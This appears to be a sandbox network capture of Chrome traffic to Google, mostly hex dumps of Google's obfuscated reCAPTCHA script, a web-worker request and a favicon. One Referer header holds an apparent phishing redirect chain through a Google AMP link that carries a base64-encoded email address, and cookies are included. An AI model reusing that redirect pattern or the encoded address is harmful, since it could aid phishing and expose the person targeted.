2024-03-15 12:57:38 UTC	442	IN	Data Raw: 2f 2a 20 41 6e 74 69 2d 73 70 61 6d 2e 20 57 61 6e 74 20 74 6f 20 73 61 79 20 68 65 6c 6c 6f 3f 20 43 6f 6e 74 61 63 74 20 28 62 61 73 65 36 34 29 20 59 6d 39 30 5a 33 56 68 63 6d 51 74 59 32 39 75 64 47 46 6a 64 45 42 6e 62 32 39 6e 62 47 55 75 59 32 39 74 20 2a 2f 20 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 5a 3d 66 75 6e 63 74 69 6f 6e 28 79 29 7b 72 65 74 75 72 6e 20 79 7d 2c 50 3d 74 68 69 73 7c 7c 73 65 6c 66 2c 75 3d 66 75 6e 63 74 69 6f 6e 28 79 2c 6e 29 7b 69 66 28 21 28 79 3d 28 6e 3d 50 2e 74 72 75 73 74 65 64 54 79 70 65 73 2c 6e 75 6c 6c 29 2c 6e 29 7c 7c 21 6e 2e 63 72 65 61 74 65 50 6f 6c 69 63 79 29 72 65 74 75 72 6e 20 79 3b 74 72 79 7b 79 3d 6e 2e 63 72 65 61 74 65 50 6f 6c 69 63 79 28 22 62 67 22 2c 7b 63 72 65 61 74 65 48 54 4d Data Ascii: /* Anti-spam. Want to say hello? Contact (base64) Ym90Z3VhcmQtY29udGFjdEBnb29nbGUuY29t */ (function(){var Z=function(y){return y},P=this\|\|self,u=function(y,n){if(!(y=(n=P.trustedTypes,null),n)\|\|!n.createPolicy)return y;try{y=n.createPolicy("bg",{createHTM
2024-03-15 12:57:38 UTC	1252	IN	Data Raw: 63 72 65 61 74 65 53 63 72 69 70 74 28 67 29 7d 3a 66 75 6e 63 74 69 6f 6e 28 67 29 7b 72 65 74 75 72 6e 22 22 2b 67 7d 7d 28 50 29 28 41 72 72 61 79 28 37 38 32 34 2a 4d 61 74 68 2e 72 61 6e 64 6f 6d 28 29 7c 30 29 2e 6a 6f 69 6e 28 22 5c 6e 22 29 2b 5b 27 28 66 75 6e 63 74 69 6f 6e 28 29 7b 2f 2a 27 2c 0a 27 27 2c 0a 27 20 53 50 44 58 2d 4c 69 63 65 6e 73 65 2d 49 64 65 6e 74 69 66 69 65 72 3a 20 41 70 61 63 68 65 2d 32 2e 30 27 2c 0a 27 2a 2f 27 2c 0a 27 76 61 72 20 79 7a 3d 66 75 6e 63 74 69 6f 6e 28 79 2c 6e 29 7b 72 65 74 75 72 6e 20 6e 3d 30 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 6e 3c 79 2e 6c 65 6e 67 74 68 3f 7b 64 6f 6e 65 3a 66 61 6c 73 65 2c 76 61 6c 75 65 3a 79 5b 6e 2b 2b 5d 7d 3a 7b 64 6f 6e 65 3a 74 72 75 65 7d 7d 7d 2c Data Ascii: createScript(g)}:function(g){return""+g}}(P)(Array(7824Math.random()\|0).join("\n")+['(function(){/','',' SPDX-License-Identifier: Apache-2.0','*/','var yz=function(y,n){return n=0,function(){return n<y.length?{done:false,value:y[n++]}:{done:true}}},
2024-03-15 12:57:38 UTC	1252	IN	Data Raw: 63 74 69 6f 6e 28 29 7b 51 28 57 29 7d 29 7d 2c 72 29 7d 69 66 28 21 5a 29 72 65 74 75 72 6e 20 5a 3d 67 28 72 29 2c 51 26 26 51 28 5a 29 2c 5a 3b 50 3f 7a 28 29 3a 28 61 3d 62 2c 62 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 61 28 29 2c 61 6f 28 7a 29 7d 29 7d 29 2c 70 65 3a 66 75 6e 63 74 69 6f 6e 28 51 29 7b 75 26 26 75 28 51 29 7d 7d 7d 2c 77 77 3d 66 75 6e 63 74 69 6f 6e 28 79 2c 6e 2c 67 2c 75 2c 50 2c 62 29 7b 66 6f 72 28 75 3d 28 62 3d 28 6e 3d 28 28 50 3d 28 67 3d 79 5b 7a 36 5d 7c 7c 7b 7d 2c 64 29 28 79 29 2c 67 29 2e 55 77 3d 64 28 79 29 2c 67 2e 54 3d 5b 5d 2c 79 2e 73 3d 3d 79 3f 28 42 28 79 29 7c 30 29 2d 31 3a 31 29 2c 64 29 28 79 29 2c 30 29 3b 75 3c 6e 3b 75 2b 2b 29 67 2e 54 2e 70 75 73 68 28 64 28 79 29 29 3b 66 6f 72 28 67 2e 51 57 3d 4a 28 Data Ascii: ction(){Q(W)})},r)}if(!Z)return Z=g(r),Q&&Q(Z),Z;P?z():(a=b,b=function(){a(),ao(z)})}),pe:function(Q){u&&u(Q)}}},ww=function(y,n,g,u,P,b){for(u=(b=(n=((P=(g=y[z6]\|\|{},d)(y),g).Uw=d(y),g.T=[],y.s==y?(B(y)\|0)-1:1),d)(y),0);u<n;u++)g.T.push(d(y));for(g.QW=J(
2024-03-15 12:57:38 UTC	1252	IN	Data Raw: 6e 67 74 68 2c 7a 3d 30 2c 65 3d 30 3c 65 3f 65 3a 31 3b 7a 3c 5a 3b 7a 2b 3d 65 29 41 28 72 2e 73 6c 69 63 65 28 7a 2c 28 7a 7c 30 29 2b 28 65 7c 30 29 29 2c 57 29 7d 7d 2c 28 70 28 66 75 6e 63 74 69 6f 6e 28 5a 29 7b 44 49 28 5a 2c 33 29 7d 2c 28 70 28 66 75 6e 63 74 69 6f 6e 28 5a 29 7b 78 70 28 5a 2c 31 29 7d 2c 28 70 28 66 75 6e 63 74 69 6f 6e 28 5a 29 7b 58 4f 28 34 2c 5a 29 7d 2c 28 70 28 66 75 6e 63 74 69 6f 6e 28 5a 2c 72 2c 61 2c 7a 29 7b 21 4d 28 72 2c 66 61 6c 73 65 2c 5a 2c 74 72 75 65 29 26 26 28 72 3d 77 77 28 5a 29 2c 61 3d 72 2e 72 30 2c 7a 3d 72 2e 51 57 2c 5a 2e 73 3d 3d 5a 7c 7c 7a 3d 3d 5a 2e 4e 56 26 26 61 3d 3d 5a 29 26 26 28 53 28 5a 2c 72 2e 55 77 2c 7a 2e 61 70 70 6c 79 28 61 2c 72 2e 54 29 29 2c 5a 2e 56 3d 5a 2e 6f 28 29 29 7d Data Ascii: ngth,z=0,e=0<e?e:1;z<Z;z+=e)A(r.slice(z,(z\|0)+(e\|0)),W)}},(p(function(Z){DI(Z,3)},(p(function(Z){xp(Z,1)},(p(function(Z){XO(4,Z)},(p(function(Z,r,a,z){!M(r,false,Z,true)&&(r=ww(Z),a=r.r0,z=r.QW,Z.s==Z\|\|z==Z.NV&&a==Z)&&(S(Z,r.Uw,z.apply(a,r.T)),Z.V=Z.o())}
2024-03-15 12:57:38 UTC	1252	IN	Data Raw: 2c 50 2c 28 53 28 50 2c 28 53 28 28 70 28 28 70 28 28 70 28 66 75 6e 63 74 69 6f 6e 28 5a 2c 72 2c 61 2c 7a 2c 57 2c 41 29 7b 4d 28 72 2c 66 61 6c 73 65 2c 5a 2c 74 72 75 65 29 7c 7c 28 57 3d 77 77 28 5a 2e 73 29 2c 72 3d 57 2e 55 77 2c 7a 3d 57 2e 51 57 2c 41 3d 57 2e 54 2c 57 3d 57 2e 72 30 2c 61 3d 41 2e 6c 65 6e 67 74 68 2c 7a 3d 30 3d 3d 61 3f 6e 65 77 20 57 5b 7a 5d 3a 31 3d 3d 61 3f 6e 65 77 20 57 5b 7a 5d 28 41 5b 30 5d 29 3a 32 3d 3d 61 3f 6e 65 77 20 57 5b 7a 5d 28 41 5b 30 5d 2c 41 5b 31 5d 29 3a 33 3d 3d 61 3f 6e 65 77 20 57 5b 7a 5d 28 41 5b 30 5d 2c 41 5b 31 5d 2c 41 5b 32 5d 29 3a 34 3d 3d 61 3f 6e 65 77 20 57 5b 7a 5d 28 41 5b 30 5d 2c 41 5b 31 5d 2c 41 5b 32 5d 2c 41 5b 33 5d 29 3a 32 28 29 2c 53 28 5a 2c 72 2c 7a 29 29 7d 2c 50 2c 28 70 Data Ascii: ,P,(S(P,(S((p((p((p(function(Z,r,a,z,W,A){M(r,false,Z,true)\|\|(W=ww(Z.s),r=W.Uw,z=W.QW,A=W.T,W=W.r0,a=A.length,z=0==a?new W[z]:1==a?new W[z](A[0]):2==a?new W[z](A[0],A[1]):3==a?new W[z](A[0],A[1],A[2]):4==a?new W[z](A[0],A[1],A[2],A[3]):2(),S(Z,r,z))},P,(p
2024-03-15 12:57:38 UTC	1252	IN	Data Raw: 50 2e 4e 56 3d 66 75 6e 63 74 69 6f 6e 28 5a 29 7b 74 68 69 73 2e 73 3d 5a 7d 2c 5b 5d 29 2c 50 2e 5a 3d 76 6f 69 64 20 30 2c 77 69 6e 64 6f 77 2e 70 65 72 66 6f 72 6d 61 6e 63 65 29 7c 7c 7b 7d 2c 50 29 2e 42 3d 28 50 2e 48 3d 28 50 2e 56 3d 30 2c 50 2e 68 3d 30 2c 50 2e 78 71 3d 79 2c 50 2e 50 54 3d 38 30 30 31 2c 50 2e 43 53 3d 30 2c 66 61 6c 73 65 29 2c 50 2e 6f 6c 3d 28 50 2e 43 3d 66 61 6c 73 65 2c 66 61 6c 73 65 29 2c 76 6f 69 64 20 30 29 2c 28 50 2e 58 3d 30 2c 51 2e 74 69 6d 65 4f 72 69 67 69 6e 29 7c 7c 28 51 2e 74 69 6d 69 6e 67 7c 7c 7b 7d 29 2e 6e 61 76 69 67 61 74 69 6f 6e 53 74 61 72 74 29 7c 7c 30 2c 32 34 34 29 2c 30 29 2c 35 31 31 29 2c 30 29 2c 32 33 29 29 2c 50 29 2c 32 33 39 29 2c 37 33 29 29 2c 50 29 2c 33 31 38 29 2c 50 29 2e 59 71 Data Ascii: P.NV=function(Z){this.s=Z},[]),P.Z=void 0,window.performance)\|\|{},P).B=(P.H=(P.V=0,P.h=0,P.xq=y,P.PT=8001,P.CS=0,false),P.ol=(P.C=false,false),void 0),(P.X=0,Q.timeOrigin)\|\|(Q.timing\|\|{}).navigationStart)\|\|0,244),0),511),0),23)),P),239),73)),P),318),P).Yq
2024-03-15 12:57:38 UTC	1252	IN	Data Raw: 65 48 54 4d 4c 3a 24 70 2c 63 72 65 61 74 65 53 63 72 69 70 74 3a 24 70 2c 63 72 65 61 74 65 53 63 72 69 70 74 55 52 4c 3a 24 70 7d 29 7d 63 61 74 63 68 28 67 29 7b 48 2e 63 6f 6e 73 6f 6c 65 26 26 48 2e 63 6f 6e 73 6f 6c 65 2e 65 72 72 6f 72 28 67 2e 6d 65 73 73 61 67 65 29 7d 72 65 74 75 72 6e 20 6e 7d 2c 4e 3d 66 75 6e 63 74 69 6f 6e 28 79 2c 6e 2c 67 2c 75 2c 50 2c 62 2c 51 2c 5a 2c 72 2c 61 2c 7a 2c 57 2c 41 2c 65 29 7b 69 66 28 62 3d 4a 28 6e 2c 32 34 34 29 2c 62 3e 3d 6e 2e 55 29 74 68 72 6f 77 5b 76 2c 33 31 5d 3b 66 6f 72 28 41 3d 28 50 3d 28 5a 3d 30 2c 67 29 2c 6e 2e 64 30 29 2e 6c 65 6e 67 74 68 2c 75 3d 62 3b 30 3c 50 3b 29 65 3d 75 3e 3e 33 2c 72 3d 75 25 38 2c 61 3d 6e 2e 67 5b 65 5d 2c 57 3d 38 2d 28 72 7c 30 29 2c 57 3d 57 3c 50 3f 57 3a Data Ascii: eHTML:$p,createScript:$p,createScriptURL:$p})}catch(g){H.console&&H.console.error(g.message)}return n},N=function(y,n,g,u,P,b,Q,Z,r,a,z,W,A,e){if(b=J(n,244),b>=n.U)throw[v,31];for(A=(P=(Z=0,g),n.d0).length,u=b;0<P;)e=u>>3,r=u%8,a=n.g[e],W=8-(r\|0),W=W<P?W:
2024-03-15 12:57:38 UTC	1252	IN	Data Raw: 6c 73 65 20 69 66 28 50 3d 3d 54 36 29 7b 6e 2e 48 3d 74 72 75 65 3b 74 72 79 7b 66 6f 72 28 75 3d 30 3b 75 3c 6e 2e 41 2e 6c 65 6e 67 74 68 3b 75 2b 2b 29 74 72 79 7b 67 3d 6e 2e 41 5b 75 5d 2c 67 5b 30 5d 5b 67 5b 31 5d 5d 28 67 5b 32 5d 29 7d 63 61 74 63 68 28 62 29 7b 7d 7d 63 61 74 63 68 28 62 29 7b 7d 28 30 2c 79 5b 6e 2e 41 3d 5b 5d 2c 31 5d 29 28 66 75 6e 63 74 69 6f 6e 28 62 2c 51 29 7b 6e 2e 4f 28 62 2c 74 72 75 65 2c 51 29 7d 2c 66 75 6e 63 74 69 6f 6e 28 62 29 7b 28 43 28 5b 46 4f 5d 2c 28 62 3d 21 6e 2e 4b 2e 6c 65 6e 67 74 68 2c 6e 29 29 2c 62 29 26 26 55 28 6e 2c 74 72 75 65 2c 66 61 6c 73 65 29 7d 2c 66 75 6e 63 74 69 6f 6e 28 62 29 7b 72 65 74 75 72 6e 20 6e 2e 73 77 28 62 29 7d 29 7d 65 6c 73 65 7b 69 66 28 50 3d 3d 77 29 72 65 74 75 72 Data Ascii: lse if(P==T6){n.H=true;try{for(u=0;u<n.A.length;u++)try{g=n.A[u],g[0][g[1]](g[2])}catch(b){}}catch(b){}(0,y[n.A=[],1])(function(b,Q){n.O(b,true,Q)},function(b){(C([FO],(b=!n.K.length,n)),b)&&U(n,true,false)},function(b){return n.sw(b)})}else{if(P==w)retur
2024-03-15 12:57:38 UTC	1252	IN	Data Raw: 6e 2c 67 2c 75 2c 50 2c 62 29 7b 69 66 28 21 6e 2e 42 29 7b 6e 2e 68 2b 2b 3b 74 72 79 7b 66 6f 72 28 67 3d 28 50 3d 30 2c 75 3d 6e 2e 55 2c 76 6f 69 64 20 30 29 3b 2d 2d 79 3b 29 74 72 79 7b 69 66 28 28 62 3d 76 6f 69 64 20 30 2c 6e 29 2e 47 29 67 3d 6a 38 28 6e 2e 47 2c 6e 29 3b 65 6c 73 65 7b 69 66 28 28 50 3d 4a 28 6e 2c 32 34 34 29 2c 50 29 3e 3d 75 29 62 72 65 61 6b 3b 67 3d 4a 28 6e 2c 28 62 3d 28 53 28 6e 2c 35 31 31 2c 50 29 2c 64 28 6e 29 29 2c 62 29 29 7d 4d 28 28 67 26 26 67 5b 46 4f 5d 26 32 30 34 38 3f 67 28 6e 2c 79 29 3a 56 28 6e 2c 30 2c 5b 76 2c 32 31 2c 62 5d 29 2c 79 29 2c 66 61 6c 73 65 2c 6e 2c 66 61 6c 73 65 29 7d 63 61 74 63 68 28 51 29 7b 4a 28 6e 2c 32 32 33 29 3f 56 28 6e 2c 32 32 2c 51 29 3a 53 28 6e 2c 32 32 33 2c 51 29 7d 69 Data Ascii: n,g,u,P,b){if(!n.B){n.h++;try{for(g=(P=0,u=n.U,void 0);--y;)try{if((b=void 0,n).G)g=j8(n.G,n);else{if((P=J(n,244),P)>=u)break;g=J(n,(b=(S(n,511,P),d(n)),b))}M((g&&g[FO]&2048?g(n,y):V(n,0,[v,21,b]),y),false,n,false)}catch(Q){J(n,223)?V(n,22,Q):S(n,223,Q)}i
2024-03-15 12:57:38 UTC	1252	IN	Data Raw: 65 6e 67 74 68 7c 7c 6e 2e 57 2e 63 72 65 61 74 65 28 29 2e 6c 65 6e 67 74 68 7c 7c 28 6e 2e 47 3d 76 6f 69 64 20 30 2c 6e 2e 57 3d 76 6f 69 64 20 30 29 2c 79 7d 2c 78 70 3d 66 75 6e 63 74 69 6f 6e 28 79 2c 6e 2c 67 2c 75 29 7b 46 28 79 2c 68 28 4a 28 79 2c 28 75 3d 64 28 28 67 3d 64 28 79 29 2c 79 29 29 2c 67 29 29 2c 6e 29 2c 75 29 7d 2c 53 3d 66 75 6e 63 74 69 6f 6e 28 79 2c 6e 2c 67 29 7b 69 66 28 32 34 34 3d 3d 6e 7c 7c 35 31 31 3d 3d 6e 29 79 2e 52 5b 6e 5d 3f 79 2e 52 5b 6e 5d 2e 63 6f 6e 63 61 74 28 67 29 3a 79 2e 52 5b 6e 5d 3d 56 7a 28 67 2c 79 29 3b 65 6c 73 65 7b 69 66 28 79 2e 47 6a 26 26 34 36 36 21 3d 6e 29 72 65 74 75 72 6e 3b 32 36 3d 3d 6e 7c 7c 30 3d 3d 6e 7c 7c 31 34 37 3d 3d 6e 7c 7c 32 33 30 3d 3d 6e 7c 7c 33 32 32 3d 3d 6e 7c 7c 33 Data Ascii: ength\|\|n.W.create().length\|\|(n.G=void 0,n.W=void 0),y},xp=function(y,n,g,u){F(y,h(J(y,(u=d((g=d(y),y)),g)),n),u)},S=function(y,n,g){if(244==n\|\|511==n)y.R[n]?y.R[n].concat(g):y.R[n]=Vz(g,y);else{if(y.Gj&&466!=n)return;26==n\|\|0==n\|\|147==n\|\|230==n\|\|322==n\|\|3

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.17	49721	142.250.65.164	443	6220	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-15 12:57:38 UTC	1391	OUT	GET /recaptcha/api2/webworker.js?hl=en&v=07g0mpPGukTo20VqKa8GbTSw HTTP/1.1 Host: www.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / X-Client-Data: CJC2yQEIprbJAQipncoBCLf3ygEIlqHLAQiFoM0BCNy9zQEIksrNAQi5ys0BCLbLzQEI6dLNAQiK080BCMHUzQEIz9bNAQjj1s0BCI7XzQEIp9jNAQi62M0BCPnA1BUYuL/NARj2yc0BGOuNpRc= Sec-Fetch-Site: same-origin Sec-Fetch-Mode: same-origin Sec-Fetch-Dest: worker Referer: https://www.google.com/recaptcha/api2/anchor?ar=1&k=6LfwuyUTAAAAAOAmoS0fdqijC2PbbdH4kjq62Y1b&co=aHR0cHM6Ly93d3cuZ29vZ2xlLmNvbTo0NDM.&hl=en&v=07g0mpPGukTo20VqKa8GbTSw&size=normal&s=71_GyNisCrzVl5tMGlh4uwt-iGo8dD_dRqzNJECxMJzp6EooJwD2Niqp9UV_FVrYCxUQdeZ-5PnBGu1eKs7OwhWy0Ry2-wLV7LD6ocK5f1v982B1O4Y9_lrqyGbPdTvv3FHWr5CeFfavu0HI3J7rzOyEPTPyUtVQoGM8ppfd7ty-no9y4WbN1Z-6VqqVvLkmLerrzPnGFc6dBn1CAeYxCzUO0WCnYHdBq257V81dzsTex7CSMUiYYGjol031t2GoT-WWpQfje22HavvHeltY0wQUIUECToo&cb=pgetjf101dfd Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=511=X9Z9GC2VZ5PTUFlYUNdhKnJP24TRGpGqZqKFL9Pw-Ezk_duysZ_VzzYNGWyHcs80O3scFIEGWC4ejePhlgeAzI7DW28lCxtFqnZqwLPsW3aG59Guvp647PtH9EGoiqhxBjO7Es0rJ7PDVhdGCfedVrlCik0Vmojg2gUg6Tqi0JI
2024-03-15 12:57:38 UTC	655	IN	HTTP/1.1 200 OK Content-Type: text/javascript; charset=utf-8 Cross-Origin-Embedder-Policy: require-corp Report-To: {"group":"recaptcha","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/recaptcha"}]} Expires: Fri, 15 Mar 2024 12:57:38 GMT Date: Fri, 15 Mar 2024 12:57:38 GMT Cache-Control: private, max-age=300 X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN Content-Security-Policy: frame-ancestors 'self' X-XSS-Protection: 1; mode=block Server: GSE Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-03-15 12:57:38 UTC	108	IN	Data Raw: 36 36 0d 0a 69 6d 70 6f 72 74 53 63 72 69 70 74 73 28 27 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 73 74 61 74 69 63 2e 63 6f 6d 2f 72 65 63 61 70 74 63 68 61 2f 72 65 6c 65 61 73 65 73 2f 30 37 67 30 6d 70 50 47 75 6b 54 6f 32 30 56 71 4b 61 38 47 62 54 53 77 2f 72 65 63 61 70 74 63 68 61 5f 5f 65 6e 2e 6a 73 27 29 3b 0d 0a Data Ascii: 66importScripts('https://www.gstatic.com/recaptcha/releases/07g0mpPGukTo20VqKa8GbTSw/recaptcha__en.js');
2024-03-15 12:57:38 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.17	49723	142.250.65.164	443	6220	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-15 12:57:38 UTC	1171	OUT	GET /favicon.ico HTTP/1.1 Host: www.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 X-Client-Data: CJC2yQEIprbJAQipncoBCLf3ygEIlqHLAQiFoM0BCNy9zQEIksrNAQi5ys0BCLbLzQEI6dLNAQiK080BCMHUzQEIz9bNAQjj1s0BCI7XzQEIp9jNAQi62M0BCPnA1BUYuL/NARj2yc0BGOuNpRc= Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.google.com/sorry/index?continue=https://google.co.za/amp/s/smsfrica.com/QlS4h/YW1yb21hbm9Ac3RlaW5ib3JuLmNvbQ%3D%3D&q=EgS_YOPCGL6L0a8GIjAaJ8H2BhgUuvpf_NnyT2OYVT8w65mbz9ueyJW_p6cE8jZIK7EFGWsbGUV81JQQhlEyAXJKGVNPUlJZX0FCVVNJVkVfTkVUX01FU1NBR0VaAUM Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=511=X9Z9GC2VZ5PTUFlYUNdhKnJP24TRGpGqZqKFL9Pw-Ezk_duysZ_VzzYNGWyHcs80O3scFIEGWC4ejePhlgeAzI7DW28lCxtFqnZqwLPsW3aG59Guvp647PtH9EGoiqhxBjO7Es0rJ7PDVhdGCfedVrlCik0Vmojg2gUg6Tqi0JI
2024-03-15 12:57:39 UTC	706	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="static-on-bigtable" Report-To: {"group":"static-on-bigtable","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/static-on-bigtable"}]} Content-Length: 5430 X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Date: Fri, 15 Mar 2024 08:34:55 GMT Expires: Sat, 23 Mar 2024 08:34:55 GMT Cache-Control: public, max-age=691200 Last-Modified: Tue, 22 Oct 2019 18:30:00 GMT Content-Type: image/x-icon Vary: Accept-Encoding Age: 15764 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-03-15 12:57:39 UTC	546	IN	Data Raw: 00 00 01 00 02 00 10 10 00 00 01 00 20 00 68 04 00 00 26 00 00 00 20 20 00 00 01 00 20 00 a8 10 00 00 8e 04 00 00 28 00 00 00 10 00 00 00 20 00 00 00 01 00 20 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff 30 fd fd fd 96 fd fd fd d8 fd fd fd f9 fd fd fd f9 fd fd fd d7 fd fd fd 94 fe fe fe 2e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 fe fe fe 09 fd fd fd 99 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd fd 95 ff ff ff 08 00 00 00 00 00 00 00 00 00 00 00 00 fe fe fe 09 fd fd fd c1 ff ff ff ff fa fd f9 ff b4 d9 a7 ff 76 ba 5d ff 58 ab 3a ff 58 aa 3a ff 72 b8 59 ff ac d5 9d ff f8 fb f6 ff ff Data Ascii: h& ( 0.v]X:X:rY
2024-03-15 12:57:39 UTC	1252	IN	Data Raw: ff ff ff ff ff ff ff ff ff ff ff ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f7 a6 75 ff ff ff ff ff fd fd fd f9 fd fd fd fa ff ff ff ff 0b be fb ff 05 bc fb ff b6 ec fe ff ff ff ff ff ff ff ff ff ff ff ff ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f7 aa 7b ff ff ff ff ff fd fd fd f9 fd fd fd db ff ff ff ff 35 c9 fc ff 0a b2 f9 ff 6b a4 f6 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd fd d8 fd fd fd 99 ff ff ff ff 92 cf fb ff 37 52 ec ff 38 46 ea ff d0 d4 fa ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd fd 96 fe fe fe 32 ff ff ff ff f9 f9 fe ff 56 62 ed ff 35 43 ea Data Ascii: BBBBBuBBBBB{5k7R8F2Vb5C
2024-03-15 12:57:39 UTC	1252	IN	Data Raw: de ee d8 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd fd e8 fe fe fe 2f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 fe fe fe 24 fd fd fd ea ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff eb f5 e7 ff 8f c6 7b ff 54 a9 36 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 7e be 67 ff dd ee d7 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd fd e8 ff ff ff 22 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff 0a fd fd fd d3 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff c4 e1 b9 ff 5c ac 3e ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 Data Ascii: /${T6S4S4S4S4S4S4S4S4S4~g"\>S4S4S4S4S4S4S4S4S4S4
2024-03-15 12:57:39 UTC	1252	IN	Data Raw: ff ff ff ff ff ff ff ff ff ff ff ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff fa c8 aa ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd fd ea fd fd fd fa ff ff ff ff ff ff ff ff ff ff ff ff 07 bd fb ff 05 bc fb ff 05 bc fb ff 05 bc fb ff 7d dc fd ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f9 c1 9f ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd fd f9 fd fd fd fa ff ff ff ff ff ff ff ff ff ff ff ff 07 bd fb ff 05 bc fb ff 05 bc fb ff 05 bc fb ff 7d dc fd ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff Data Ascii: BBBBBBBBBBB}BBBBBBBBBBB}
2024-03-15 12:57:39 UTC	1128	IN	Data Raw: ff ff ff ff a0 a7 f5 ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 81 8a f2 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd fd 8a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 fe fe fe 0b fd fd fd d5 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff b5 ba f7 ff 3e 4b eb ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 3f 4c eb ff ba bf f8 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd fd d2 fe fe fe 09 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 fe fe fe 26 fd fd fd eb ff ff ff Data Ascii: 5C5C5C5C5C5C5C5C5C5C5C5C5C5C5C>K5C5C5C5C5C5C5C5C5C5C5C5C?L&

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.17	49725	142.250.65.164	443	6220	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
